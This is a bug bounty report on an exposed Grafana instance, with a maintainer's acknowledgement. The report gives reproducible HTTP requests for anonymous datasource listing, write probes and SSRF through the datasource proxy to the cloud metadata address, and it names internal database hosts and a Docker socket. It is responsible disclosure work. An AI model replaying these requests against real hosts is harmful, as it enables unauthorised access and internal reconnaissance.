Bounty
XE-0108 · Bounty

Grafana on the XE node host allows anonymous datasource writes and SSRF to link-local metadata (Medium)

Triaging xe#178 filed 2026-10-29 08:31 UTC by nexastark

Report

Grafana on the XE node host allows anonymous datasource writes and SSRF to link-local metadata

Summary

Grafana 13.0.0 runs on the XE node host at 45.77.226.208:3000 with anonymous access enabled. Without any credentials an attacker can read the full datasource list, which exposes 22 internal PostgreSQL endpoints, a Docker socket and four cloud metadata services, and can create and delete datasources. The datasource proxy also performs server-side requests on the attacker's behalf: I retrieved the live AWS metadata listing through it from a host that cannot reach 169.254.169.254 directly.

Details

  • Type: missing authentication for a critical function (CWE-306), SSRF (CWE-918)
  • Asset: 45.77.226.208:3000. This host serves ldn.core.test.network and faucet.test.network, confirmed by DNS this session.
  • Endpoint: /api/datasources, /api/datasources/proxy/uid/{uid}/
  • Auth required: none
  • Severity claimed: Medium. The programme's Medium tier covers "Information disclosure: metadata leak". I first drafted this as High and downgraded it, because the escalation paths I expected did not hold. Details in the limits section.

Root cause

The monitoring stack ships in the repository at deploy/monitoring/compose.yml:

grafana:
  image: grafana/grafana:11.5.1
  ports: ["3000:3000"]
  environment:
    GF_SECURITY_ADMIN_PASSWORD: ${GF_ADMIN_PASSWORD:-changeme}
    GF_USERS_ALLOW_SIGN_UP: "false"

The port is published on every interface with no loopback bind, and GF_AUTH_ANONYMOUS_ENABLED is never set. Sign-up is disabled but anonymous access is not, which is the gap. The live instance also runs 13.0.0 while the repository pins 11.5.1, so the running configuration has drifted from the audited one.

Steps to reproduce

Environment: 29 October 2026, no credentials, no session, no account on the testnet.

  1. Read the datasource list:
GET /api/datasources HTTP/1.1
Host: 45.77.226.208:3000

Response: 200 with 112 datasources.

  1. Confirm write access with a non-destructive probe. An invalid body is rejected by payload validation, which proves the request cleared authentication:
POST /api/datasources HTTP/1.1
Host: 45.77.226.208:3000
Content-Type: application/json

{"__probe":"invalid"}

Response: 400 {"message":"bad request data"}

A 401 or 403 would mean authentication blocked the request. A 400 means it did not. The same holds for DELETE /api/datasources/uid/{id}, which returns 404 {"message":"Data source not found"} for a uid that does not exist.

  1. Control, to show that gating works where it is configured:
GET /api/admin/settings HTTP/1.1
Host: 45.77.226.208:3000

Response: 403. So the anonymous role is not simply a full admin role; it is an anonymous role that was never restricted.

  1. Use the datasource proxy to reach link-local metadata. The datasource with uid afujg1jeqtxc0e has URL http://169.254.169.254/latest/meta-data/:
GET /api/datasources/proxy/uid/afujg1jeqtxc0e/ HTTP/1.1
Host: 45.77.226.208:3000

Response: 200, header Via: 1.1 grafana, body:

instance-id
instance-v2-id
mac
local-ipv4
public-ipv4
network_config/content_path
hostname
SUBID
ipv6-addr
ipv6-prefix
  1. Control for the SSRF claim. From an unrelated host, the same address is not reachable:
GET http://169.254.169.254/latest/meta-data/

Response: 404 No such metadata item

The proxy returns 200 with data where a direct request returns 404, so Grafana is genuinely making the server-side request.

Impact

Shown:

  • 112 datasources readable without credentials, including 22 internal PostgreSQL endpoints (172.17.0.6:5432, 172.18.0.2:5432, 172.19.0.6:5432 and others) with usernames postgres and admin, the Docker socket at http://127.0.0.1:2375, and Prometheus at http://localhost:9091.
  • Datasources can be created and deleted without credentials. Deleting them removes the team's visibility, and adding one is a persistence vector.
  • Server-side requests to link-local addresses on the attacker's behalf, demonstrated against 169.254.169.254.
  • The proxy attempts connections to internal hosts that are unreachable from the internet: 172.17.0.6:5432 returns "No route to host" from outside, while the Grafana proxy reaches far enough to get a 502 back.

Not shown, stated plainly:

  • No database credentials were exposed. 101 datasources carry a readable user field, but every password field is empty.
  • No cloud credentials were retrieved. Every metadata sub-path I tried returned 200 with an empty body, and a callback to a listener I controlled returned 502, so arbitrary egress appears blocked.
  • No path traversal out of the datasource proxy succeeded (404).
  • No funds, keys or ledger state were affected.

Because the escalation to credentials did not hold, I am claiming Medium rather than High. The demonstrated impact is disclosure of internal topology plus unauthenticated write access to the monitoring stack.

Remediation

  • Set GF_AUTH_ANONYMOUS_ENABLED=false, or restrict the anonymous role to a viewer with no datasource write permission.
  • Bind the port to loopback (127.0.0.1:3000:3000) and reach Grafana over the tunnel or VPN, the way the node API does.
  • Remove the metadata-service datasources. They serve no monitoring purpose and turn Grafana into an SSRF pivot.
  • Rotate any credential that was ever embedded in a datasource, since the list was world-readable.
  • Pin the image version and reconcile the 11.5.1 to 13.0.0 drift.

Notes

  • I created and deleted nothing during verification. The write probes used an invalid body and a non-existent uid, and the datasource count stayed at 112 throughout.
  • The 112 datasources are not mine. Their names are the fingerprints of automated SSRF scanners that reached this instance earlier: _phx_*, _probe_*, scan_*, gf_ssrf_docker, gf_inf_docker, and one entry named t pointing at http://x. I am flagging them so triage can separate them from this report.
  • The PoC is a single script that prints a pass or fail per step. It ran three consecutive times with 8 of 8 checks passing and exit code 0.

Thread

Joseph Denneteam2026-11-08 20:18 UTCgithub

Thank you for the report. We have reproduced the exposure you describe on the monitoring host and are correcting the deployment; the ticket is being handled and we will update you here when it is resolved.